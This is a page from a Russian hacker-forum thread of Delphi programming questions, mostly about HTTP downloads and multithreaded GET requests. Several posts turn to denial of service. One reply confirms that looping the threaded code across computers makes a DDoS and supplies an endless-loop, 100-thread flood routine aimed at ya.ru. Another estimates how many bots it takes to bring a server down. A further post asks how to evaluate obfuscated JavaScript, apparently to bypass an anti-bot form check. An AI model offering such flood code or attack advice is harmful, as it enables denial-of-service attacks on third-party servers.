HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
Перезагрузить страницу [Delphi]/[Pascal] Задай вопрос, получи ответ
   
Ответ
Страница 539 из 671 « Первая < 39439489529 535 536 537 538 539 540 541 542 543 549589639 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.01.2010, 08:47
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме:
5209663

Репутация: 357


По умолчанию
Какой способ будет работать быстрее (UrlDownloadToFile или GetInetFile)?
И как добавить progressbar (или просто узнать размер, и сколько скачено)
 
Ответить с цитированием

  #2  
Старый 18.01.2010, 10:35
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


По умолчанию
один фиг ты не заметишь разницы. Потому что канал будет давать наибольшее ограничение, по сравнению с которым разница в скорости этих функций ничтожна
 
Ответить с цитированием

  #3  
Старый 18.01.2010, 13:56
Пуховой
Banned
Регистрация: 25.11.2007
Сообщений: 62
Провел на форуме:
1702086

Репутация: 89
Smile
Цитата:
Покажите на примеры как отправить гет запрос в 10 потоков. Например: idhttp1.Get(http://ya.ru/);
Объявляете.
Код:
type
  Send = class (TThread)
  private
  protected
    procedure Execute; override;
  end;
Создаете.
Код:
procedure send.execute;
var
  s : string;
  http : tidhttp;
begin
  http := tidhttp.create;
  try
    s := http.get ('http://ya.ru/');
  except end;
  {Что-то делаем с данными}
  http.free;
end;
Запускаете.
Код:
function new_send : boolean;
var
  NewThread : Send;
begin
  NewThread := Send.Create(true);
  NewThread.Priority := tpnormal;
  NewThread.FreeOnTerminate := true;
  NewThread.Start;
  Result := true;
end;
for i := 1 to 10 do new_send; - и все, готово.
 
Ответить с цитированием

  #4  
Старый 20.01.2010, 09:00
denjf
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме:
592199

Репутация: 21
По умолчанию
Цитата:
Сообщение от Пуховой  
Объявляете.
Код:
type
  Send = class (TThread)
  private
  protected
    procedure Execute; override;
  end;
Создаете.
Код:
procedure send.execute;
var
  s : string;
  http : tidhttp;
begin
  http := tidhttp.create;
  try
    s := http.get ('http://ya.ru/');
  except end;
  {Что-то делаем с данными}
  http.free;
end;
Запускаете.
Код:
function new_send : boolean;
var
  NewThread : Send;
begin
  NewThread := Send.Create(true);
  NewThread.Priority := tpnormal;
  NewThread.FreeOnTerminate := true;
  NewThread.Start;
  Result := true;
end;
for i := 1 to 10 do new_send; - и все, готово.



В связи с недавними событиями ддоса на ачате появился повпрос:

Если сделать так:

Код:
procedure send.execute;
var
  s : string;
  http : tidhttp;
begin
  http := tidhttp.create;
  try
    for i:=1 to 10000000 do  
    s := http.get ('http://ya.ru/');
  except end;
  {Что-то делаем с данными}
  http.free;
end;

for i := 1 to 10000000 do new_send;

И запустить на нескольких компах? это и будет ддос?
Или я чего не догоняю?
 
Ответить с цитированием

  #5  
Старый 19.01.2010, 22:20
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме:
5209663

Репутация: 357


По умолчанию
Поделитесь хорошим генератором multipart/form-data пакетов (ну или только тела пакета)
и чтобы можно было добавлять еще параметры в существующие тела (то есть удалить 2 последние строки, и добавить еще параметр, потом опять закрыть тело пакета)

ПС: Кто в курсе тот поймет
 
Ответить с цитированием

  #6  
Старый 20.01.2010, 10:24
][yZ
Познающий
Регистрация: 03.03.2009
Сообщений: 62
Провел на форуме:
1776253

Репутация: 106
По умолчанию
denjf, да, но лучше запустить for i := 1 to 100 do new_send; (в 100 потоков) и в процедуре send_execute написать
Код:
var
  http : tidhttp;
begin
  http := tidhttp.create;
  while true do
    try
      http.get ('http://ya.ru/');
    except end;
end;
 
Ответить с цитированием

  #7  
Старый 20.01.2010, 10:45
denjf
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме:
592199

Репутация: 21
По умолчанию
][yZ
Немного не в тему но все же: Сколько надо компов таких что бы повесить сервак?
несколько сотен или несколько тысяч?
 
Ответить с цитированием

  #8  
Старый 20.01.2010, 11:06
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


По умолчанию
2 denjf зависит от сервака. От 15 ботов до 7k
Когда-то получалось обычный сервак под IIS+ASP валить 15 ботами.
А вот гугль наверное и 10k незавалят )
Вообще зависит от канала и производительности, и то, какой сервис досишь
 
Ответить с цитированием

  #9  
Старый 20.01.2010, 14:12
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
Провел на форуме:
5209663

Репутация: 357


По умолчанию
Помогите сделать парсинг кода на JS а потом вычислить его

Вот примеры кодов:
Код:
<SCRIPT LANGUAGE='javascript'>var lxpyojqlpu=1589666056;var zvpxuuhob=274005637;var iypbsx=1468515098;var bwxqd=1729288489;var gwiabytd=972356717;if((zvpxuuhob%13)>8) iypbsx = iypbsx ^ 2087927630;if((lxpyojqlpu%5)>4) bwxqd = bwxqd ^ 245640587;if((iypbsx%19)>5) zvpxuuhob = zvpxuuhob ^ 1374324487;if((gwiabytd%17)>3) iypbsx = iypbsx ^ 85138756;if((iypbsx%5)>0) zvpxuuhob = zvpxuuhob ^ 44329079;if((bwxqd%13)>8) iypbsx = iypbsx ^ 1849950360;if((gwiabytd%17)>16) lxpyojqlpu = lxpyojqlpu ^ 965973475;if((gwiabytd%3)>0) gwiabytd = gwiabytd ^ 1549800127;if((iypbsx%11)>10) bwxqd = bwxqd ^ 449762829;if((zvpxuuhob%13)>4) zvpxuuhob = zvpxuuhob ^ 1921956651;if((bwxqd%17)>3) bwxqd = bwxqd ^ 1756278414;if((bwxqd%19)>13) zvpxuuhob = zvpxuuhob ^ 2088122228;if((zvpxuuhob%3)>1) iypbsx = iypbsx ^ 959803415;if((zvpxuuhob%13)>12) lxpyojqlpu = lxpyojqlpu ^ 247077368;if((gwiabytd%17)>9) iypbsx = iypbsx ^ 276505872;if((iypbsx%3)>1) iypbsx = iypbsx ^ 1329437240;if((zvpxuuhob%5)>0) bwxqd = bwxqd ^ 1771328816;lxpyojqlpu = 15221649 ^ lxpyojqlpu ^ zvpxuuhob ^ iypbsx ^ bwxqd ^ gwiabytd;form1.kv.value = lxpyojqlpu;</SCRIPT>
Код:
<SCRIPT LANGUAGE='javascript'>var ldqfmwupsa=1592845201;var phvcmmef=1878246562;var gguxx=1340020073;var thtkdwera=1601881395;var jthmw=1307169702;if((jthmw%11)>1) jthmw = jthmw ^ 1703361336;if((phvcmmef%3)>0) gguxx = gguxx ^ 1639870829;if((phvcmmef%19)>5) jthmw = jthmw ^ 1579782360;if((thtkdwera%19)>7) gguxx = gguxx ^ 392125920;if((ldqfmwupsa%19)>5) ldqfmwupsa = ldqfmwupsa ^ 410954717;if((thtkdwera%19)>15) phvcmmef = phvcmmef ^ 1343928423;if((jthmw%13)>8) gguxx = gguxx ^ 2054430401;if((jthmw%7)>6) phvcmmef = phvcmmef ^ 164262382;if((ldqfmwupsa%19)>1) thtkdwera = thtkdwera ^ 1737167826;if((ldqfmwupsa%19)>7) phvcmmef = phvcmmef ^ 1197846947;if((jthmw%11)>5) ldqfmwupsa = ldqfmwupsa ^ 280617076;if((phvcmmef%7)>1) thtkdwera = thtkdwera ^ 494554954;if((ldqfmwupsa%5)>2) thtkdwera = thtkdwera ^ 999319489;ldqfmwupsa = 1057472035 ^ ldqfmwupsa ^ phvcmmef ^ gguxx ^ thtkdwera ^ jthmw;form1.kv.value = ldqfmwupsa;</SCRIPT>
Код:
<SCRIPT LANGUAGE='javascript'>var ssjmlwkrtp=628628863;var shrojpon=1277335524;var fhchrqg=1650542936;var qulgbmtbq=71160325;var wdblkzi=861711698;if((qulgbmtbq%19)>0) ssjmlwkrtp = ssjmlwkrtp ^ 40697840;if((wdblkzi%19)>8) wdblkzi = wdblkzi ^ 531863743;if((qulgbmtbq%19)>9) wdblkzi = wdblkzi ^ 870959117;if((ssjmlwkrtp%17)>15) ssjmlwkrtp = ssjmlwkrtp ^ 871330406;if((wdblkzi%17)>1) qulgbmtbq = qulgbmtbq ^ 254769796;if((ssjmlwkrtp%11)>4) fhchrqg = fhchrqg ^ 696083433;if((ssjmlwkrtp%13)>1) fhchrqg = fhchrqg ^ 1154645328;if((fhchrqg%5)>4) qulgbmtbq = qulgbmtbq ^ 625479442;if((qulgbmtbq%5)>3) shrojpon = shrojpon ^ 2001012507;if((ssjmlwkrtp%13)>1) ssjmlwkrtp = ssjmlwkrtp ^ 1210143159;if((shrojpon%13)>4) shrojpon = shrojpon ^ 1849324198;if((wdblkzi%3)>0) qulgbmtbq = qulgbmtbq ^ 1493504853;if((wdblkzi%3)>2) ssjmlwkrtp = ssjmlwkrtp ^ 908970818;if((shrojpon%19)>4) shrojpon = shrojpon ^ 1963085680;if((fhchrqg%3)>1) wdblkzi = wdblkzi ^ 1786246870;ssjmlwkrtp = 689237102 ^ ssjmlwkrtp ^ shrojpon ^ fhchrqg ^ qulgbmtbq ^ wdblkzi;form1.kv.value = ssjmlwkrtp;</SCRIPT>
В коде:
Всегда 5 переменных
Всегда имя и значения этих переменных разные
Всегда 18 "Если" где условие всегда разные
 
Ответить с цитированием

  #10  
Старый 20.01.2010, 20:14
fatalo
Участник форума
Регистрация: 15.05.2008
Сообщений: 166
Провел на форуме:
2591223

Репутация: 128
По умолчанию
Каким образом в Делфи можно писать нормальные математические символы?
Пример
 
Ответить с цитированием
Ответ
Страница 539 из 671 « Первая < 39439489529 535 536 537 538 539 540 541 542 543 549589639 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/Wi-Fi/Wardriving 2569 10.05.2026 13:27
[jQuery] - Задай вопрос, получи ответ Isis PHP 62 25.12.2009 03:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.